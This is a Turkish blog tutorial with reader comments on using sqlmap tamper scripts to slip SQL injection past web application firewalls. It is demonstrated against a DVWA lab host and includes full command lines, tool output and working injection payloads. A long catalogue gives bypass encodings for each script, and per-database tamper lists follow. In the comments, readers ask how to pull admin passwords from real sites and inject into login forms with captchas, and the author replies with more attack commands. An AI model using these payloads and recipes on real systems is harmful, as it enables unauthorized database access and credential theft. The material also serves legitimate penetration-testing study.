twitterlinkedinemail

9 Eylül 2013 Pazartesi

SQLmap'i WAF Bypass (Tamper) Scriptleri ile Kullanma

Hedef web uygulamada SQL Injection güvenlik açığı tespit edilse bile normal şartlarda Sqli komutları işlem görmüyorsa büyük ihtimalle uygulamanın önünde konumlandırılan bir WAF (Web Application Firewall) tarafından algılanıp engelleniyordur.

SQL Injection saldırılarında çeşitli bypass (atlatma) yöntemleri kullanırız, örneğin;
büyük küçük harf karmaşası, komutların çeşitli algoritmalarla encode edilmesi gibi...

SQLmap'in WAF, IPS gibi saldırı engelleme sistemlerini bypass etmesi için "tamper script" özelliği bulunmaktadır.

Aşağıda WAF kullanan bir sisteme SQLmap'in varsayılan kullanım parametresi verilmiştir ve sonuç alınamamıştır:


root@bt: sqlmap -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --dbs 
    sqlmap - automatic SQL injection and database takeover tool
    http://sqlmap.org 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:39:43
[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset 'ascii'
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[15:39:43] [INFO] testing for SQL injection on GET parameter 'id'
[15:39:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request

Görüldüğü gibi hedef sistemde UNION komutu geçtiğinde istekleri engelleyen bir yapı bulunmaktadır..

Şimdi ise bir de SQLmap'i --tamper fonksiyonuyla birlikte kullanalım:
root@pentest: sqlmap -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "randomcase" --dbs 
[*] starting at 16:16:24 
[16:16:24] [INFO] loading tamper script 'randomcase'
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter 'id' is dynamic
[16:16:26] [WARNING] GET parameter 'id' appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset 'ascii'
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='Surname: admin')
[16:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[16:16:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..                                              
[16:16:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:37] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:16:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3106=3106&Submit=Submit
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)&Submit=Submit
---
[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
[16:16:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.127'
[*] shutting down at 16:16:41

Görüldüğü gibi hedef sistemdeki koruyucu mekanizma atlatılmış oldu..

SQLmap'in yüklü olduğu dizinde "tamper" isimli klasörde çeşitli bypass script'leri bulunmaktadır. Biz yukarıdaki testte "tamper" klasörünün içinde "randomcase" script'inden faydalandık. Bu script'in görevi, UNION gibi Sql komutlarını rastgele büyük-küçük harf şeklinde düzenleyerek karşı sisteme yollar ve WAF var ise bypass edilmeye çalışılır.

Aşağıda tamper klasöründe bulunan diğer bypass script'lerinin isimleri, bypass yöntemleri ve hangi veritabanı platformlarında işlevi olduğunu paylaştım:


apostrophemask.py (UTF-8)
Örnek:
* Orijinal Komut: AND '1'='1'
* Bypass Komutu:  AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87

apostrophenullencode.py (unicode)
Örnek:
* Orijinal Komut: AND '1'='1'
* Bypass Komutu:  AND %271%27=%271%27

appendnullbyte.py ()
Örnek:
* Orijinal Komut: AND 1=1
* Bypass Komutu:  AND 1=1
Platform:
* Microsoft Access

base64encode.py (base64)
Örnek:
* Orijinal Komut: 1' AND SLEEP(5)#
* Bypass Komutu:  MScgQU5EIFNMRUVQKDUpIw==

between.py (“not between” “>”)
Örnek:
* Orijinal Komut: 'A > B'
* Bypass Komutu:  'A NOT BETWEEN 0 AND B'

bluecoat.py (“like” “=”)
Örnek:
* Orijinal Komut: SELECT id FROM users where id = 1
* Bypass Komutu:  SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS

chardoubleencode.py
Örnek:
* Orijinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu:  %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charencode.py
Örnek:
* Orijinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu:  %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

charunicodeencode.py
Örnek:
* Orijinal Komut: SELECT FIELD%20FROM TABLE
* Bypass Komutu:  %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Platform:
* ASP
* ASP.NET

equaltolike.py (“like” “=”)
Örnek:
* Orijinal Komut: SELECT * FROM users WHERE id=1
* Bypass Komutu:  SELECT * FROM users WHERE id LIKE 1

halfversionedmorekeywords.py
Örnek:
* Orijinal Komut: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Bypass Komutu:  value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Platform:
* MySQL < 5.1

ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)
Örnek:
* Orijinal Komut: IFNULL(1, 2)
* Bypass Komutu:  IF(ISNULL(1), 2, 1)
Platform:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)

modsecurityversioned.py
Örnek:
* Orijinal Komut: 1 AND 2>1--
* Bypass Komutu:  1 /*!30000AND 2>1*/--
Platform:
* MySQL

modsecurityzeroversioned.py (“0000”)
Örnek:
* Orijinal Komut: 1 AND 2>1--
* Bypass Komutu:  1 /*!00000AND 2>1*/--
Platform:
* MySQL

multiplespaces.py
Örnek:
* Orijinal Komut: UNION SELECT
* Bypass Komutu:   UNION   SELECT

nonrecursivereplacement.py
Örnek:
* Orijinal Komut: 1 UNION SELECT 2--
* Bypass Komutu:  1 UNUNIONION SELSELECTECT 2--

percentage.py (“%”)
Örnek:
* Orijinal Komut: SELECT FIELD FROM TABLE
* Bypass Komutu:  %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Platform:
* ASP

randomcase.py
Örnek:
* Orijinal Komut: INSERT
* Bypass Komutu:  InsERt

randomcomments.py
Örnek:
'INSERT' becomes 'IN/**/S/**/ERT'

securesphere.py
Örnek:
* Orijinal Komut: AND 1=1
* Bypass Komutu:  AND 1=1 and '0having'='0having'

sp_password.py (“sp_password”)
Örnek:
* Orijinal Komut: 1 AND 9227=9227--
* Bypass Komutu:  1 AND 9227=9227--sp_password
Platform:
* MSSQL

space2comment.py
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT/**/id/**/FROM/**/users

space2dash.py (“--”)
Örnek:
* Orijinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Platform:
* MSSQL
* SQLite

space2hash.py
Örnek:
* Orijinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Platform:
* MySQL

space2morehash.py
Platform:
* MySQL >= 5.1.13

space2mssqlblank.py
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT%08id%02FROM%0Fusers
Platform:
* Microsoft SQL Server

space2mssqlhash.py
Örnek:
* Orijinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1%23%0A9227=9227
Platform:
* MSSQL
* MySQL

space2mysqlblank.py
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT%0Bid%0BFROM%A0users
Platform:
* MySQL

space2mysqldash.py
Örnek:
* Orijinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1--%0AAND--%0A9227=9227
Platform:
* MySQL
* MSSQL

space2plus.py (“+”)
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT+id+FROM+users

space2randomblank.py
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECTridtFROMnusers

unionalltounion.py (“union all” “union”)
Örnek:
* Orijinal Komut: -1 UNION ALL SELECT
* Bypass Komutu:  -1 UNION SELECT

unmagicquotes.py (“%bf%27” “--”)
Örnek:
* Orijinal Komut: 1' AND 1=1
* Bypass Komutu:  1%bf%27 AND 1=1--%20

versionedkeywords.py
Örnek:
* Orijinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Bypass Komutu:  1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Platform:
* MySQL

versionedmorekeywords.py
Örnek:
* Orijinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Bypass Komutu:  1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Platform:
* MySQL >= 5.1.13



Genel olarak kullanabileceğiniz tamper listesi:

apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes


MSSQL için kullanabileceğiniz tamper listesi:

between,charencode,charunicodeencode,greatest,multiplespaces,percentage,randomcase,sp_password,space2comment,space2dash,space2mssqlblank,space2plus,space2randomblank,unionalltounion,unmagicquotes


MYSQL için kullanabileceğiniz tamper listesi:

between,bluecoat,charencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor


36 yorum:

  1. teşekkürler :)
    ben kendimde birşeyler geliştirmiştim vakti zamanında
    http://pastebin.com/MdfjAjFH

    YanıtlaSil
  2. --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" bunu nasıl buluyoruz acemiyim birazda yardımcı olursanız çok sevinirim

    YanıtlaSil
    Yanıtlar
    1. Örneğin; sqli saldırısı yapmak istediğin hedef web sitenin injectiona uğrayan kısmı üyelik gerektiren bir bölüm ise ve üyelik varsa siteye login olunup cookie'ni Sqlmap'e --cookie parametresini kullanarak işleyebilirsin. Böylelikle Sqlmap'te üyelik gerektiren yerlere erişebilmiş olur.

      Bu arada cookie nasıl öğrenilir dersen? Chrome kullanıyorsan EditThisCookie eklentisiyle, Firefox kullanıyorsan da Cookie Editor eklentisiyle ulaşabilirsin cookie bilgilerine..

      Sil
  3. Çok teşekkürler güzel yöntemler öğrendim sayenizde.Ancak sürekli kafama takılan bi sıkıntım var
    index.php?git=kat&id=4 Örneğin burdaki id değerindeki sql injection açığından faydalanmak istediğimde git değerinii id olarak algılıyor ve ordan çekmeye çalışıyor e haliyle de çekemiyor.id değerini belirtmek için -p ve --skip parametreleri var ancak nasıl kullanıcağımı tam olarak çözemedim yardımcı olursanız sevinirim.

    YanıtlaSil
    Yanıtlar
    1. Merhaba,
      Rica ederim. Sqlmap'in "skip parameter" özelliğiyle istediğiniz GET parametresini pass geçtirebilirsiniz. Böylelikle "git=kat" parametresini atlayarak id=4 parametresine injection testi yapılacaktır. Örnek kullanım:
      sqlmap -u "http://site.com/index.php?git=kat&id=4" --skip git --dbs

      Ayrıca Sqlmap'in -p parametresini kullanarak istenilen parametreye injection testi yaptırmakta mümkündür, örnek kullanım:
      sqlmap -u "http://site.com/index.php?git=kat&id=4" -p id --dbs

      Sil
  4. Peki sadece --dbs yerine --tamper "tamper/randomcase.py" --dbs her site için tamper gerektirmeyen siteler içinde kullansak daha iyi değil mi?

    YanıtlaSil
    Yanıtlar
    1. Evet kullanılabilir, ama output'a göre tamper scripti seçilmelidir yani biraz işin içine deneme-yanılma giriyor.

      Sil
  5. öncelikle yazınızı okudum çok açıklayıcı bir makale yazmışsınız türkçe kaynaklar içerisinde ender bulunabiliecek bir makale fakat benim bir sorum olucak size bazı taramalarda bu şekilde uyarı veriyor burda verilen '--level'/'--risk' tam olarak nedir ve nasıl kullanırık bunu açıklayabilirseniz çok memnun olurum
    (all tested parameters appear to be not injectable. Try to
    increase '--level'/'--risk' values to perform more tests. Also, you can try to r
    erun by providing either a valid value for option '--string' (or '--regexp') If
    you suspect that there is some kind of protection mechanism involved (e.g. WAF)
    maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'))
    Teşekkür ederim

    YanıtlaSil
    Yanıtlar
    1. Merhaba,

      Teşekkür ederim, yararlı olduysa ne mutlu bana. Sorularınızı yanıtlayayım;

      --risk Parametresi:
      3 adet risk seviyesi vardır. "1" olan varsayılandır bunu yazmasanda olur.
      "2" time-based sql injection saldırısı uygular.
      "3" or-based sql injection saldırısı uygular.


      --level Parametresi:
      Varsayılanı "1"dir.

      --level 2: HTTP Cookie'ye Sql Injection uygular.

      --level 3: HTTP User-Agent'a ve HTTP Referer'e başlıklarına Sql Injection uygular.

      --level 5: Tüm HTTP başlıklarına Sql Injection uygular.

      --level 3 veya yukarıda ayarlı ise de HTTP Referer başlığı SQL enjeksiyon karşı test edilir unutmayın. Ayrıntılar için aşağıya okuyun.


      --string Parametresi:
      Sqlmap'e bir site tarattığında --string parametresini kullanabilirsin uyarısını alıyorsan; Örnek site.com/index.php?id=1 sitesi için id= sonuna tırnak (') karakterinden sonra sayfada değişen bir string ifadeyi Sqlmap'e verdiğinde onu dikkata alarak işlem yapacaktır.

      Sil
  6. hocam kolay gelsin bir şey sormak istiyorum login kısmındaki post işlemleri için yapmamız gereken tam olarak nedir.
    sqlmap.py -u "http://www.siteadi.co.uk/index.asp" --data="txtPassword" --dbs bu şekilde yapınca

    [CRITICAL] no parameter(s) found for testing in the provided data (e.
    g. GET parameter 'id' in 'www.site.com/index.php?id=1')
    erkana bu hatayı basıyor bana

    YanıtlaSil
    Yanıtlar
    1. açık nerede burada txtpassword datasındamı anlamsız olmuş biraz sqlmap önermen?

      Sil
  7. Güzel bir makale olmuş ellerinize sağlık yalnız diyelim tabloları ve kolonları çekiyoruz(ms-sql)fakat tabloların içindeki veriler gelmiyor bunu nasıl aşılabilir. sizce :D

    YanıtlaSil
  8. sqlmap -u http://www.site.co.uk/index.php?id=1 --tamper --dbs bu şekil mi ? yoksa farklımı kullanılmalı ? cunkü hata almaktayım

    CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request

    YanıtlaSil
  9. Peki hocam arama kısımlarında sql injection varsa napmalıyız ?

    YanıtlaSil
    Yanıtlar
    1. Öncelikle, hedef web uygulamasındaki arama fonksiyonunun GET mi yoksa POST ile mi kontrol edildiğini çözmek gerek.

      Eğer GET ile kontrol yapılıyorsa:
      sqlmap -u "-u http://hedef.com/index.php?search=KELIME" şeklinde komut verilmelidir.

      Eğer POST ile kontrol yapılıyorsa:
      sqlmap -u "-u http://hedef.com/arama.php" --data="search=KELIME&value=submit" şeklinde komut verilebilir.

      Sil
  10. Hocam benim sorum yok. Sadece size teşekkür etmek istiyorum. Sizin makalelerden çok yorumlara verdiğiniz cevaplar bile altın değerinde. Milletin ceh diye verdiği eğitimi sizin yorumlarda bulamazlar. Allah razı olsun. Başarılarınızın devamını dilerim.

    YanıtlaSil
  11. Hocam bu tamperlar bende yok kodu yazdıktan sonra ''tamper script 'tamper/unmagicquotes.py' does not exist'' bu hatayı veriyor nasıl indiririz ?

    YanıtlaSil
    Yanıtlar
    1. Eğer Kali Linux kullanıyorsanız örnek kullanımı şu şekilde değişmektedir:
      # sqlmap -u "http//site.com/index.php?id=123" --tamper "unmagicquotes" --dbs

      Sil
  12. Teşekkür ederim abi çok güzel yöntemler paylaşmışsın eline sağlık abi.
    Windows sqlmap'ta şu hatayı nasıl geçebilirim abi?

    [12:48:56] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

    YanıtlaSil
  13. öncelikle merhaba hocam siz olmasaydınız en ufak zorladığımı yerde pes ederdim şuan kalilinux kullanıyorum öğrenmek için herşeyi de yapıyorum sizin gibi hocalarım olduğuiçin çok mutluyum sizin ile iletişime nasıl geçebilirim

    YanıtlaSil
  14. Hocam merhaba öncelikle çok teşekkürler çok işime yaradı fakat şöyle bir sorum olucak bazı sitelerde admin,pass çekerken null veya blank yazıyor ve şifre felan gözükmüyor onu nasıl bypass edebilirim çok teşekkürler

    YanıtlaSil
  15. Pekiya Tamper'ı neye göre seçeceğiz ? :)

    YanıtlaSil
  16. Hocam benim sorum daha farklı olacak, githubtaki tamper scriptleri nasıl kullanabiliriz, ya da nasıl sqlmape yükleyebiliriz ?

    YanıtlaSil
    Yanıtlar
    1. Merhaba, tabi kullanabilirsiniz.
      Eğer script, Sqlmap'in tanıyıp kullanabileceği bir şekilde kodlanmışsa /usr/share/sqlmap/tamper/ dizininin altına kopyalayıp makalede bahsettiğim şekilde kullanabilirsiniz.

      Sil
  17. hocam merhabalar öncelikle makaleniz için sonsuz teşekkür ederim benim sorum su sekılde sql açıgı id degerınde degil şu sekılde http//siteadı.com/iletisim/
    http//siteadı.com/iletisim/'a yapınca sql hatası veriyor hangi parametreleri kullanmalıyım teşekkür ederim

    YanıtlaSil
    Yanıtlar
    1. Merhaba Berk Bey,

      Rica ederim. -u parametresiyle hedef linki verirken bu şekilde kullanmalısınız: sqlmap -u "http//siteadı.com/iletisim/*" şeklinde.

      Sil
  18. Bu yorum yazar tarafından silindi.

    YanıtlaSil
  19. hocam yardımlarınız için minnetarım SQLMAP'in boşluk karakterini bypass etmek için hangi tamperı kullanmalıyım ve level risk degerlerini neye göre vermeliyim

    YanıtlaSil
    Yanıtlar
    1. Berk Bey,
      Hedef sistem mysql ise makalede bahsettiğim mysql tamper scriptlerini, mssql ise onun için olan tamper scriptlerini aynı anda kullanabilirsiniz. Yani birden fazla tamper script kullanabilirsiniz.

      Sil
  20. Hocam iyi günler gerçekten başarılı bir çalışma. işimize çok yarıyor fakat takıldığımız bazı noktalar var. Backtrack kullanıyoruz

    senaryolarımız şu şekilde

    sqlmap -u http://siteadi.com/hakkımızda/* -p hakkımızda/ --level=5 --risk=3 --tamper unmagicquotes,space2randomblank,space2plus,space2mssqlhash,space2hash,space2comment,randomcase waf 360,airlock,aws,uspses --dbs


    [14:11:19] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
    [14:11:19] [INFO] fetching number of databases
    [14:11:19] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
    [14:11:19] [INFO] retrieved:
    [14:11:19] [WARNING] unexpected HTTP code '404' detected. Will use (extra) validation step in similar cases

    [14:11:21] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
    [14:11:21] [ERROR] unable to retrieve the number of databases
    [14:11:21] [INFO] falling back to current database
    [14:11:21] [INFO] fetching current database
    [14:11:21] [INFO] retrieved:


    başka sistemler de "retrieved:" burda a,b,c gibi sırası ile deneyip bulurdu fakat

    [14:02:05] [CRITICAL] unable to retrieve the database names

    bu hatayı alıyoruz. Hangi parametreleri önerirsiniz? Şimdiden teşekkür ederim. İyi günler

    YanıtlaSil
  21. Hocam son bir sorum daha olacak ilgilendiginiz için teşekkür ederim veritabanını çektigimde tek bir veritabanı o da şu sekılde geldi ????????????????????????????????????? bu nedir ne yapmalıyım

    YanıtlaSil
  22. ('videoID=-1 OR 17-7%3d10') bu şekilde bir outputum var --level=5 --risk=3 --tamper=between,randomcase yaptım ama giremedim başka ne önerirsiniz ? teşekkürler

    YanıtlaSil
  23. hocam merhaba ('videoID=-1 OR 17-7%3d10') böyle bir outputum var. verdiğim parametreler; level=5, risk=3, tamper=between,randomcase yaptım ama sonuç alamadım ne önerirsiniz ? teşekkürler

    YanıtlaSil
  24. cookie belirme dediğiniz noluyor onu anlamdım sadece ? belirtlicek şeyi nerden buluyoıruz ?

    YanıtlaSil
  25. Hocam merhaba. Emiğinize saygı duyyorum ve teşekkür ediyorum.
    Benim sorum şu: kullanıcı adı ve şifre giriş ekranına injection yapmak istiyorum fakat sistem captcha kullanıyor. Bu durumda nasıl bir parametre kullanmalıyız? Sanırım tüm captcha ları kendisi girmiyordur?

    YanıtlaSil